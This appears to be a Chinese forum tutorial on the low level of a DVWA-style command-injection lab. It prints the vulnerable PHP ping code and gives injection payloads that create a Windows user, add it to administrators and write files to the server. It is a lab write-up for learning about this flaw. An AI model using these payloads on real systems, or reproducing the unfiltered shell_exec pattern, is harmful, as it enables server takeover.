本帖最后由 bailancheng 于 2019-10-16 22:11 编辑
命令注入漏洞low级别
漏洞概述:
漏洞产生原因:
在Web 程序中,因为业务功能需求要通过Web 前端传递参数到后台服务器上执行(特别是一些网络设备的Web 管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击者可以构造一些额外的“带有非法目的”命令,欺骗后台服务器执行。
漏洞危害:
如果Web 应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令。
low级别命令注入漏洞
low级别的源代码<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ]; //输入IP地址给target变量
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target ); //执行shell.exec ping空格连接我们输入的IP地址给cmd函数
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
shell_exec()函数可以在PHP中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell。
命令执行语句
127.0.0.1 | net user
127.0.0.1 | net user test 123 /add
127.0.0.1 | net localgroup administrators test /add
“|”:前面命令输出结果作为后面命令的输入内容;
“&”:前面命令执行后接着执行后面的命令;
“||”:前面命令执行失败的时候才执行后面的命令;
“&&”:前面命令执行成功了才执行后面的命令。
Linux系统还可以使用分号(;)同时执行多条命令。
还可以使用重定向(>)在服务器中生成文件,或是使用(<)从事先准备好的文件读入命令等。
127.0.0.1 & echo test > c:\1.txt //可以直接写入木马
|